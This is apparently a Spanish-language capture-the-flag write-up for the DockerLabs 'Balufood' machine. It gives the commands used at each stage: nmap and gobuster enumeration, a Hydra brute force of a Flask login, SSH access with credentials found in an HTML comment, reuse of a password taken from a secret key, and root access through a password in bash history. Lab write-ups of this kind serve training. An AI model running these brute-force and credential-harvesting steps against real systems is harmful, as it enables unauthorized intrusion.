> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/balufood.md).

# Balufood

## Introduccion

En este laboratorio de DockerLabs se compromete una maquina Linux que expone SSH y una aplicacion web Flask en el puerto 5000.

La cadena de explotacion empieza con enumeracion web sobre un restaurante llamado **Balulero**. Tras descubrir el panel `/admin`, se realiza fuerza bruta contra el login y se accede con credenciales debiles. Dentro del codigo fuente del panel aparece un comentario con credenciales de respaldo para SSH. Desde el usuario `sysadmin`, se revisa la aplicacion Flask y se encuentra una password reutilizable que permite pivotar al usuario `balulero`. La escalada final se consigue gracias a un alias guardado en el historial de Bash, que revela la password de `root`.

***

## Reconocimiento

Se realiza un escaneo de versiones con Nmap:

```bash
nmap -sVCS -Pn -n -T4 172.17.0.2
```

![Nmap](/files/aSSjGjNDFdZuCHuz8wYt)

El escaneo muestra dos puertos abiertos:

| Puerto   | Servicio | Version                              |
| -------- | -------- | ------------------------------------ |
| 22/tcp   | SSH      | OpenSSH 9.2p1 Debian                 |
| 5000/tcp | HTTP     | Werkzeug httpd 2.2.2 / Python 3.11.2 |

Al acceder al puerto 5000 aparece una web de restaurante:

```
http://172.17.0.2:5000
```

![Web principal](/files/LRV31PG4AuFztStV55CD)

***

## Enumeracion web

Se realiza fuerza bruta de directorios con Gobuster:

```bash
gobuster dir -u http://172.17.0.2:5000/ \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x html,zip,php,txt,bak,sh,asp,aspx \
  -b 404 -t 60
```

![Gobuster](/files/wUHISqsQ61Y2OC4NUEkI)

Aparecen dos rutas interesantes:

| Ruta       | Codigo | Comentario                                 |
| ---------- | ------ | ------------------------------------------ |
| `/admin`   | 302    | Redirige a `/login`                        |
| `/console` | 400    | Consola Werkzeug no accesible directamente |

Como `/admin` requiere autenticacion, se prueba fuerza bruta contra el formulario de login con Hydra:

```bash
hydra -l admin -P /usr/share/wordlists/rockyou.txt 172.17.0.2 -s 5000 \
  http-post-form "/login:username=^USER^&password=^PASS^:F=Credenciales" \
  -V -I -t 64
```

Hydra encuentra credenciales validas:

![Password admin](/files/fc1QoDqtTL43h10bOAdj)

```
admin:admin
```

***

## Panel de administracion

Con las credenciales encontradas se accede al panel:

```
http://172.17.0.2:5000/admin
```

![Panel admin](/files/0KnsYDOXdHuO9FMcP17Y)

Al revisar el codigo fuente del panel, se encuentra un comentario HTML con credenciales de respaldo:

![Comentario con credenciales](/files/dh8nyqGWImIKTuYwkoiB)

Credenciales descubiertas:

```
sysadmin:backup123
```

***

## Acceso por SSH

Se prueban las credenciales por SSH:

```bash
ssh sysadmin@172.17.0.2
```

![SSH sysadmin](/files/nmzqTyVAWrJ5LqYpl7Yy)

El acceso funciona correctamente y se obtiene una shell como `sysadmin`.

***

## Enumeracion local

Se revisan los procesos activos:

```bash
ps aux
```

![Procesos](/files/fWmcYrlN3hSGty0f6sNv)

Se observa que la aplicacion Flask se ejecuta desde:

```
/home/sysadmin/app.py
```

Al listar el directorio home y leer `app.py`, aparecen detalles interesantes de la aplicacion:

```bash
ls -la
cat app.py
```

![app.py](/files/E1nK4vrjaJvao3Tba8Pb)

En el codigo se identifica una clave de aplicacion:

```python
app.secret_key = 'cuidaditocuidadin'
```

Esa cadena se prueba como password del usuario `balulero`:

```bash
su balulero
```

![su balulero](/files/YK4afqdwGQMIjAD8pqZz)

La password funciona:

```
cuidaditocuidadin
```

***

## Escalada de privilegios

Como `balulero`, se revisan permisos de `sudo` y binarios SUID:

```bash
sudo -l
find / -perm -4000 -type f 2>/dev/null
```

![Enumeracion balulero](/files/bFssoxQHV8Pqo2yDI1Av)

No aparece una via clara por `sudo` ni por SUID. Se revisa entonces el historial de Bash:

```bash
cat ~/.bash_history
```

![Historial balulero](/files/3PWhNw62AN8TAGS0GjCm)

En el historial aparece un alias muy sensible:

```bash
alias ser-root='echo chocolate2 | su - root'
```

El alias revela la password de `root`:

```
chocolate2
```

Se cambia a `root` con esa password:

```bash
su root
```

![Root](/files/GF0nYnXfeJryUQIoyXoI)

La maquina queda comprometida como `root`:

```bash
whoami
```

```
root
```

***

## Conclusion

Balufood es una maquina sencilla pero muy buena para practicar enumeracion progresiva. La explotacion no depende de un exploit complejo, sino de ir conectando malas practicas: credenciales debiles en el panel, secretos en comentarios HTML, passwords reutilizadas y un historial de Bash con informacion critica.

### Puntos clave

* El servicio web corria una aplicacion Flask en el puerto 5000.
* Gobuster descubrio el panel `/admin`.
* Hydra encontro credenciales debiles `admin:admin`.
* El codigo fuente del panel contenia credenciales de respaldo `sysadmin:backup123`.
* Se obtuvo acceso por SSH como `sysadmin`.
* `app.py` contenia la clave `cuidaditocuidadin`.
* Esa clave era la password del usuario `balulero`.
* El historial de Bash de `balulero` revelaba la password de `root`.
* La escalada final se realizo con `su root` usando `chocolate2`.

### Recomendaciones

* Evitar credenciales por defecto o faciles de adivinar.
* No dejar secretos en comentarios HTML.
* No reutilizar passwords entre aplicacion y usuarios del sistema.
* Proteger claves de Flask y variables sensibles mediante secretos externos.
* Limpiar historiales de shell y evitar guardar comandos con passwords.
* Revisar usuarios locales y politicas de contrasenas.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/balufood.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
